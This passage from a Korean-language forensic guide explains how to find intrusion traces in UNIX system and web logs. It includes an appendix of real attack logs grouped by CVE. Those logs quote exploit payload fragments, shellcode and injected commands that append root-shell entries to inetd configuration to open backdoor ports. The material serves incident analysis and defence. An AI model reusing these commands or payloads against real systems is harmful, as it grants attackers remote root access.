이 로그는 공격자가 4월 10일 17시 25분경부터 17시 40분까지 rpc.ttdbserverd, sadmind, rpc.cmsd 에 대한 공격 흔적을 보여주고 있다. 공격자가 공격한 취약점들은 모두 원격지에서 시스템 관리자 권한을 취득할 수 있는 것들이지만 실제 공격에 성공했는지, 실패했는지는 알 수 없다. 그런데 공격이 이루어진 시간대에 /tmp/.x 파일이 생성되었으며 ingreslock 포트(1524)에 root shell이 바인딩 되어 있었다. 파일 생성 시간으로 미루어 sadmind 공격이 성공한 것으로 추측할 수 있다.

 # ls -alc /tmp/.x
-rw-rw-rw-   1 root   root   48   4월 10일   17:26 /tmp/.x
 # more /tmp/.x
ingreslock stream tcp nowait root /bin/sh sh -i

실제 sadmind 취약점은 rpc.ttdbserverd, rpc.cmsd 보다 이후에 알려진 취약점으로 아직 많은 솔라리스 시스템이 이 취약점에 노출되어 있다.

또 다른 공격흔적을 보자.

아래의 공격 흔적은 리눅스 시스템의 amd 버퍼오버플로우 공격이 기록된 것이다.

messages.1:Mar 11 05:20:50 xxx 27>Mar 11 05:20:50 amd[468]: amq requested mount of 릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱
릱릱릱
릱릱릱^N됐3핀F^L뉶^W뉶^Z?K?□18 Jan 1998--str/bin/sh(-c)/bin/echo '2222   ?
*stream   tcp   nowait   root   /bin/sh s릱릱릱릱릱릱맸(^*

그 결과로써 로그에 남은 공격시간과 일치하는 시각에 root 소유의 파일이 생성되고 역시 2222 포트에 root shell이 바인딩 되었다.

[/tmp]# ls -l
-rw-rw-rw- 1 root root 116 Mar 11 05:20 h
[/tmp]# more h
2222 stream tcp nowait root /bin/sh sh -i
2222 stream tcp nowait root /bin/sh sh -i

하지만, 이처럼 messages 로그에 공격기록이 남았다고 해서 모두 공격에 성공하였다는 것은 아니다. 실패한 공격 또한 로그에 남을 수 있으며, 반대로 공격에 성공하더라도 기록되지 않을 수도 있다. 최근 솔라리스 시스템의 공격에 많이 이용되고 있는 snmpXdmid 취약점에 대한 공격의 경우 공격에 성공하더라도 messages에는 아무런 로그를 남기지 않았다.

하지만 대부분의 네트워크 데몬과 응용프로그램은 버퍼오버플로우 공격에 의한 비정상적인

argument의 입력을 syslog 로깅데몬을 통하여 messages 파일에 기록하므로 해킹당한 취약점 분석에 대단히 유용한 정보를 제공한다. 본 문서의 “[첨부] 주요 취약점별 공격흔적”에 최근 3년여 동안 국내 해킹에 많이 이용되었던 취약점에 대한 공격 흔적을 싣도록 한다. 이 로그들은 실제 CERTCC-KR에서 해킹 피해시스템을 분석하는 과정에서 발견된 로그들로써, 해킹 피해시스템 분석에 유용한 정보가 될 수 있을 것이다.

messages 파일 분석을 통해 공격에 이용된 취약점을 분석할 수 있는 것 이외에도 보안과 관련된 또 다른 정보들을 제공해 주기도 한다.

가령, 해킹을 당한 후 많은 공격자들은 시스템에 Sniffer를 설치하여 네트워크를 모니터링한다. Sniffer가 실행되게 되면 네트워크 인터페이스 카드는 Promiscuous 모드로 설정되게 되는데 ifconfig 명령을 이용하여 현재의 네트워크 인터페이스 카드의 상태를 확인할 수도 있다. 하지만 messages 파일에는 현재의 네트워크 인터페이스 카드의 상태뿐만 아니라 네트워크 인터페이스 카드가 언제부터 언제까지 Promiscuous 모드 상태였는지에 대한 정보를 가지고 있어, 공격자의 행위 추적에 더 상세한 자료를 제공한다.

messages:Apr 24 01:55:22 insecure kernel: device eth0 entered promiscuous mode
messages:Apr 24 06:33:07 insecure kernel: device eth0 left promiscuous mode

위의 로그는 이 시스템이 4월 24일 새벽 01시 55분에 Promiscuous 모드로 설정되어(스니퍼가 실행되어) 06시 33분에 해제된 것을 볼 수 있다.

그러면, SYN flooding 같은 서비스거부공격을 당했을 경우에도 로그를 남길까?
아래의 로그는 솔라리스 시스템에서 남긴 SYN flooding 공격 흔적이다.

Aug 26 10:33:41 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!
Aug 26 10:53:28 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!
Aug 26 11:07:42 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!
Aug 26 11:15:16 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!

이외에도 messages 파일에는 su 실패에 대한 로그, 특정 데몬이 죽은 로그, 부팅시에 발생된 에러 등 정말 다양한 로그들을 남기고 있다. 이처럼 다양한 로그를 남기다 보니 로그의 양이 시스템 사용이 많은 경우 하루에만 수천 라인이 기록된다. 따라서, 이들을 처음부터 끝까지 하나하나 보기에는 힘들므로, grep 명령을 이용하여 특정 단어가 들어간 로그만을 확인할 수 있다. 즉, “ttdbserver", "sadmind", "cmsd", "pop", "statd", "mount" 등 공격에 사용되는 취약점이 들어간 로그를 grep으로 걸러내거나, "failed", "failure", "denied", "promiscuous" 등의 단어가 포함된 기록들도 살펴볼 필요가 있다. ”[첨부] 주요 보안취약점별 공격 흔적“에 각각의 공격시에 어떤 형태로 로그에 남는지 참고하라.
그리고, 해킹이 의심이 가는 시간부터의 messages 로그는 하나하나 시간순으로 로그를 분석하는 인내심도 필요하다.

2.2.11 access_log, error_log

웹서버에서도 어느 사이트에서 시스템에 접속하였으며, 어느 파일이 다운로드 되었는지에 대한 기록이 access_log 파일에 기록되고, 존재하지 않는 파일에 대한 접근 등의 에러에 대해서는 error_log에 기록이 된다.
웹서버에 대한 공격은 주로 CGI 프로그램에 집중되고 있는데 취약한 CGI 프로그램에 대한 공격로그도 이들 로그 파일에 기록된다.

다음은 중국(61.146.132.137) 지역에서 취약한 CGI 프로그램을 찾는 스캔공격이 웹로그에 기록된 것이다.

[Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/php.cgi
[Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/php
[Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/handler
[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/webgais
[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/websendmail
[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/guestbook
[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/webdist.cgi
...

홈페이지 게시판을 이용하여 비방하는 글이나 협박성 내용을 게시하는 경우 역시 웹로그에 어느 사이트에서 글을 게시하였는지 알 수 있다.

그리고, 최근에 FTP를 이용하여 해킹 툴을 설치하는 경우도 있지만, 웹을 이용하여 해킹 툴들을 다운로드 받는 경우가 늘고 있어 웹로그의 분석도 중요시되고 있다. 한 예로 얼마전 국외 CERT팀에서 국외의 해킹당한 시스템의 웹로그에서 국내의 수십개의 시스템에서 해킹 툴을 다운로드 받아간 흔적이 발견되어 CERTCC-KR로 보고한 바 있다. 물론 해킹 툴을 다운로드 받아간 국내 서버들도 역시 해킹을 당한 시스템들이었다.

이처럼 웹로그는 웹서버에 얼마나 많은 사람이 접속해 있고, 어느 시스템으로부터 접속을 시도했으며, 어느 파일들에 대한 접근이 가장 빈번했는지 등의 웹 통계를 내기 위한 용도뿐만 아니라 보안 목적에서도 분석이 이루어져야 한다.

3. 결론

UNIX 시스템에서는 커널과 각종 응용프로그램 등에서 많은 종류의 로그를 남기고 있다. 사고분석자는 이러한 로그 파일들을 면밀히 분석함으로써 공격자가 남기고 간 다양한 침입흔적을 찾아낼 수 있다. 이 정보는 공격자를 추적하는데 사용될 수도 있으며, 향후 시스템의 보안을 강화하는데 feed back될 수도 있다.

앞서 설명한 로그파일들은 독립적으로 분석하는 것이 아니라, 서로 유기적인 관계를 가지고 추리하면서 분석하여야 보다 효과적일 수 있다. 하나의 로그파일에 침입 흔적이 발견되면 다른 로그파일들에서 해당 IP나 해당 사용자와 관련된 로그를 분석하여야 한다. 또한 로그파일뿐만 아니라 ps, netstat, find 등의 유닉스 명령어들을 이용하여 시스템의 상태나 특정 파일들을 점검하고, /etc/passwd, /etc/inetd.conf, /etc/rc* 등의 주요 시스템 파일들도 침입자 추적에 필요한 점검항목들이다. 이처럼 해킹피해시스템 분석에서는 시스템 파일, 환경파일, 시스템 상태 등 다각적인 분석이 필요하다. 하지만 로그분석은 해킹 피해시스템 분석에 있어 가장 기본이 되는 것임은 자명하다.

그런데, 우리가 한가지 간과한 것이 있다.
그것은 공격자는 마음만 먹으면 언제든지 자신의 침입흔적을 지우고 나갈 수 있다는 것이다. 또한 공격자가 이미 장악한 시스템의 로그는 전적으로 신뢰할 수 없다.
실제 로그 디렉토리 전체를 삭제하거나, 특정한 로그 파일만을 삭제하거나, 아니면 좀더 주도면밀한 공격자라면 로그 파일에서 자신의 로그만을 편집하는 것을 흔히 볼 수 있다. 또한 zap, wipe 등 특정 로그를 삭제하거나 편집할 수 있는 도구들도 인터넷에서 쉽게 구할 수 있으며, 해킹당한 시스템에서도 흔히 볼 수 있었다.

로그를 보호하기 위해 다양한 기술들이 제안되기도 한다. 로그를 프린터 등에 연결하여 하드카피 장치에 기록해 버린다든지, 로그파일에 수백개의 Symbolic link를 걸어서 보호하려는 노력도 했었다. 하지만 가장 일반적인 로그 보호수단은 네트워크를 통하여 안전한 로그서버에 로그를 저장하는 방안이라고 할 수 있다.
[Part Ⅱ]에서는 로그서버를 안전하게 운영하는 방법과 UNIX 시스템의 로깅 장치인 syslog 데몬에 대해 알아보도록 하겠다. 또한 로그분석을 좀더 효율적으로 할 수 있는 툴들에 대해서도 알아보겠다.

[첨부] 주요 보안 취약점별 공격 흔적

어떤 보안취약점으로 인해 시스템이 침입을 당했는지를 확인하는 작업은 향후 시스템 복구시에도 반드시 필요하다. 아래 침입흔적들은 1999년부터 지금까지 국내 해킹 피해시스템에서 수집한 것으로 공격 경향 파악 및 피해시스템 분석에 도움이 될 것이다.

각 보안취약점은 CVE(Common Vulnerability & Exposure) 번호와 취약점에 대한 간단한 설명 및 이 취약점 대한 공격시 로그파일에 남은 흔적을 보인다. 공격흔적은 피해시스템의 종류와 공격자가 사용한 공격툴의 종류에 따라 약간의 차이가 있을 수도 있다.

<u>CVE-1999-0006 : POP</u>

BSD/Qualcomm사의 qpopper는 버퍼오버플로우 취약점이 존재하며, 비정상적으로 긴 PASS 명령어로 인해 원격에서 root 권한을 도용당할 수 있다.

Dec 14 09:47:49 victim popper[16036]: @[xxx.xxx.120.200]: -ERR Unknown command: "^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P".

<u>CVE-1999-0042 : IMAP</u>

워싱턴대학의 IMAP과 POP 서버에 버퍼오버플로우 취약점이 존재한다.

Nov 1 17:17:45 victim 22>Nov 1 17:17:45 imapd[1570]: AUTHENTICATE
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P

<u>CVE-1999-0493 : rpc.statd & automountd</u>

rpc.statd는 SM_MON과 SM_NOTIFY 명령을 통해 원격의 공격자가 로컬시스템에 RPC 콜을 전달할 수 있다. automountd와 같은 다른 버그를 가진 취약점에 공격코드를 전달하여 원격에서 관리자 권한을 도용할 수 있다.

Sep 8 11:07:45 victim statd[153]: statd: attempt to create "/var/statmon/sm/; echo "pcserver stream tcp nowait root /bin/sh sh -i" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &"

messages:Oct 18 14:29:39 image statd[150]: attempt to create

"/var/statmon/sm//..//../tmp/.nfs09DH$$$$ ` O****## P*`c 6) ## ;#XbinXshtirdwr "

Jan 26 03:17:30 victim statd[154]: statd: attempt to create "/var/statmon/sm/%0
8x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %0242x%n%055x%n%012x%n %0192x%nK^v ^(^ ^. #^1 F'F* FF7060+, NV70151@5060/bin/sh -c echo "9088 stream tcp nowait root /bin/sh -i" >> /tmp/m; /usr/sbin/inetd /tmp/m;"

CVE-1999-0003 : ToolTalk(rpc.ttdbserverd)

Tooltalk 데이터베이스 서버(rpc.ttdbserverd)의 버퍼오버플로우 취약점으로 인해 root 권한으로 임의의 명령이 수행될 수 있다.

Jan 4 17:47:14 victim /usr/dt/bin/rpc.ttdbserver[1173]: rpc.ttdbserverd version (1.1) does not match the version () of the database tables. Please install an rpc.ttdbserverd version (or greater)
Jan 4 17:47:14 victim /usr/dt/bin/rpc.ttdbserver[1173]: _Tt_db_server_db("/"): 4 (/TT_DB/file_table)
Jan 4 17:47:15 victim /usr/dt/bin/rpc.ttdbserver[1173]: rpc.ttdbserverd version (1.1) does not match the version () of the database tables. Please install an rpc.ttdbserverd version (or greater)
Jan 4 17:47:15 victim /usr/dt/bin/rpc.ttdbserver[1173]: _Tt_db_server_db("/"): 4 (/TT_DB/file_table)
Jan 4 17:47:15 victim /usr/dt/bin/rpc.ttdbserver[1173]: rpc.ttdbserverd version (1.1) does not match the version () of the database tables. Please install an rpc.ttdbserverd version (or greater)

messages.3:Dec 25 21:24:13 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status -1
messages.3:Dec 25 21:30:54 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status -1
messages.3:Dec 25 21:57:53 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status -1
messages.3:Dec 25 22:04:13 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status -1
messages.3:Dec 25 23:41:22 victim inetd[150]: /usr/dt/bin/rpc.ttdbserverd: exit status -1

CVE-1999-0696 : rpc.cmsd

CDE Calendar Manager 서비스 데몬(rpc.cmsd)에 버퍼오버플로우 취약점이 존재한다.

messages.0:Oct 21 20:43:58 victim inetd[110]: /usr/openwin/bin/rpc.cmsd: Child Status Changed
messages.0:Oct 21 22:41:42 victim inetd[110]: /usr/openwin/bin/rpc.cmsd: Child Status Changed

CVE-1999-0977 : sadmind

솔라리스 sadmind의 버퍼오버플로우 취약점은 원격지의 공격자가 NETMGT_PROC_SERVICE 요청을 사용하여 root 권한을 획득할 수 있다.

messages:Jan 3 15:40:13 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault - core dumped
messages:Jan 3 15:40:14 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault - core dumped
messages:Jan 3 15:40:15 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault - core dumped
messages:Jan 3 15:40:16 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault - core dumped
messages:Jan 3 15:40:17 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault - core dumped
messages:Jan 3 15:40:18 victim inetd[242]: /usr/sbin/sadmind: Segmentation Fault - core dumped

messages:Jan 3 15:40:19 victim inetd[242]: /usr/sbin/sadmind: Hangup

CVE-1999-0002 : mountd

NFS mountd는 버퍼오버플로우 취약점이 존재하며 원격지 공격자에게 root 접근을 허용한다. 대부분 리눅스 시스템에서 공격 가능하다.

Oct 27 06:01:00 victim 28>Oct 27 06:01:00 mountd[288]: Blocked attempt of xxx.xxx.155.130 to mount
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P

CVE-1999-0704 : amd

리눅스 am-utils 패키지에 포함되어 있는 버클리 automounter 데몬(amd)의 로깅 기능에 버퍼오버플로우 취약점이 존재한다.

messages.1:Mar 11 05:20:50 victim 27>Mar 11 05:20:50 amd[468]: amq requested mount
of 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱
릱릱
릱릱
릱릱릱^N됐3핀F^L눆^W눆^Z?K?□18 Jan 1998--str/bin/sh(-c)/bin/echo '2222   ?
    stream   tcp   nowait   root   /bin/sh s릱릱릱릱릱릱떖(^

CVE-1999-0833 : bind

BIND 8.2의 NXT 레코드에 버퍼오버플로우 취약점이 존재한다.

BIND 공격이 발생할 경우 로그파일에는 흔적이 없고, ADMROCKS라는 공백디렉토리가 생성된다.
ls -al /var/named
drwxr-xr-x 2 root root 4096 Apr 18 08:16 ADMROCKS/

CVE-2000-0666 : rpc.statd

많은 리눅스 배포판에서 제공하는 nfs-utils 패키지 내의 rpc.statd는 클라이언트로부터 전달받은 신뢰되지 않은 format string으로 인해 원격지의 공격자에 의해 root 권한을 뺏길 수 있다.

Jan 21 19:38:11 victim rpc.statd[363]: gethostbyname error for^X??X??Y??Y??Z??Z??[??[? bffff750

80497108052c20687465676274736f6d616e797265206520726f7220726f66bffff718bffff719bffff71abffff71b

messages.3:Aug 14 14:58:29 victim rpc.statd[347]: SM_MON request for hostname containing '/': ^D??D??E??E??F??F??G??G??8049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000bffff704000000000000000000000000000000000000 0000000000bffff7050000bffff706000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000bffff707
?^ v ` ?(` ? ` ?.` ` ` #?? ` F' F*` F F +, N V ??? bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

CAN-2000-0573 : wu-ftpd

wu-ftpd 2.6.0나 그 이전 버전은 신뢰되지 않은 format string으로 인해 원격지의 공격자가 SITE EXEC 명령어를 통해 임의의 명령을 수행할 수 있다.

Feb 26 18:01:49 victim ftpd[18403]: ANONYMOUS FTP LOGIN FROM 194.176.178.2 [194.176.178.2],
릱릱
릱릱
릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱1?? F?1??됙A???^1??^^A뉶^Df?^A??1핅^^A??1??^^H뎟^B1
1핅^^H?L? u?핂F^I?^H???N? 뉶^D1핂F^G녛^H덯^L됵됙^H뗋^L?K?1?□^A?? bin0sh1..11

CVE-2000-0917 : LPRng

LPRng 3.6.24의 use_syslog() 함수에 format string 취약점이 존재하여 원격지의 공격자가 임의의 명령어를 수행할 수 있다.

Apr 17 21:22:23 victim SERVER[4958]: Dispatch_input: bad request line 'BB□ □ □ □ XXXXXXXXXXXXXXXXXX0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000048securesecurity000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000001073835088~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P1??윢F?@~I?冷f~I??I?~I]?~I]?~
IM?MM□~@1?IE?f~I]???O'~IM?ME?IE□E?P~I?MM□~@~I?C?@~I??@~I? ?~I謹
~@~I??@?X^~Iu^H1?HF^G~IE^L?K~I?MM^H~MU^L?@ ? /bin/sh'

Mar 26 18:20:54 victim bsd-gw[410]: Invalid protocol request (66): BBB()*+XXXXXXXXXXXXXXXXXX%.232u%300$n%.199u%301$nsecurity.i%302$n%.
192u%303$n111윢F1冷f1C]C]KMM□1ECf]fE'MEE□EM□CCC1 ?謹A^u1FE^L^KMU^L□/bin/sh